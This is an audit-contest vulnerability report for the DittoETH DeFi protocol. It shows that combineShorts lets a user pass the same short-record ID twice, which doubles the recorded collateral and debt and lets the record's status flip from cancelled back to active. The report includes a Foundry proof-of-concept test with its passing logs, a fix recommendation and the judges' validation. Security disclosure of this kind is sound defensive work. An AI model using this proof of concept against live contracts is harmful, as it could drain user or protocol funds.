DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

H-01: Protocol allows to combine the same short

tychaios

Summary

The protocol allows multiple shorts to be consolidated into a single short for improved risk management. However, it lacks validation to prevent the inclusion of the same short multiple times in the array. This vulnerability enables users to combine the same short repeatedly, posing a significant risk to protocol integrity and functionality.

Vulnerability Details

Allowing the user to input the same ID twice into the combineShorts function can lead to instability in the protocol. This action immediately doubles the collateral and ercDebt values in the short records while setting their status to Status.CANCELLED. Additionally, it becomes possible to revert this status if a bid matches the short order. In the best-case scenario, users may lose their funds held in the shortRecord. In the worst-case scenario, a malicious attacker could exploit this to drain funds from the protocol by doubling the collateral and settling the debt.

PoC

function divUe18(uint256 _toformat) internal pure returns (uint256) {
return _toformat / 1 ether;
}
​
function testCombineSameShort() public {
uint88 deposit1 = SHORT1_PRICE.mulU88(DEFAULT_AMOUNT).mulU88(
diamond.getAssetNormalizedStruct(asset).initialMargin
);
uint88 deposit2 = SHORT1_PRICE.mulU88(DEFAULT_AMOUNT - (DEFAULT_AMOUNT / 10))
.mulU88(diamond.getAssetNormalizedStruct(asset).initialMargin);
uint88 deposit3 = SHORT1_PRICE.mulU88(DEFAULT_AMOUNT / 10).mulU88(
diamond.getAssetNormalizedStruct(asset).initialMargin
);
uint88 totalDeposit = (deposit1 + deposit2 + deposit3);
depositEth(sender, totalDeposit);
​
uint16[] memory shortHintArray = setShortHintArray();
MTypes.OrderHint[] memory orderHintArray =
diamond.getHintArray(asset, SHORT2_PRICE, O.LimitShort);
​
createShort(SHORT1_PRICE, DEFAULT_AMOUNT, orderHintArray, shortHintArray, sender);
(uint256 ethFilled,) = createBid(
SHORT1_PRICE,
(DEFAULT_AMOUNT - (DEFAULT_AMOUNT / 2)),
Constants.LIMIT_ORDER,
orderHintArray,
shortHintArray,
sender
);
uint8[] memory shortRecordIds = new uint8[](2);
shortRecordIds[0] = Constants.SHORT_STARTING_ID;
shortRecordIds[1] = Constants.SHORT_STARTING_ID;
​
STypes.ShortRecord memory record =
diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
console.log("=============================================");
console.log("record ercDebt before combining %d", divUe18(record.ercDebt));
console.log("record collateral before combining %d", divUe18(record.collateral));
console.log("=============================================");
​
vm.prank(sender);
diamond.combineShorts(asset, shortRecordIds);
​
record = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
console.log("record status after combining %d", uint8(record.status));
console.log("record ercDebt after combining %d", divUe18(record.ercDebt));
console.log("record collateral after combining %d", divUe18(record.collateral));
console.log("=======================================");
​
(ethFilled,) = createBid(
SHORT1_PRICE,
DEFAULT_AMOUNT / 20,
Constants.LIMIT_ORDER,
orderHintArray,
shortHintArray,
sender
); // Now the record is active again
​
record = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
console.log("record status after bid %d", uint8(record.status));
}
[PASS] testCombineSameShort() (gas: 722072)
Logs:
=============================================
record ercDebt before combining 2000
record collateral before combining 3
=============================================
record status after combining 2
record ercDebt after combining 4000
record collateral after combining 6
=======================================
record status after bid 0

Notice how the values of the debt and collateral are doubled, also the status goes from 0 (PartialFill) to 2 (Cancelled) and back to 0.

Impact

The inclusion of the same short multiple times in the ids array can potentially disrupt the expected behavior of the protocol and may lead to unintended consequences.

Tools Used

Manual Review, Foundry tests

Recommendations

Check the ids[i] to not be equal to ids[0]. Only the first occurrence of the same ID in the ids array should be considered valid. Including the same ID more than once in the array should be prevented to avoid potential issues or reverts in the transaction.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-273

hash Auditor
about 2 years ago
0xnevi Lead Judge
about 2 years ago
0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-534

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.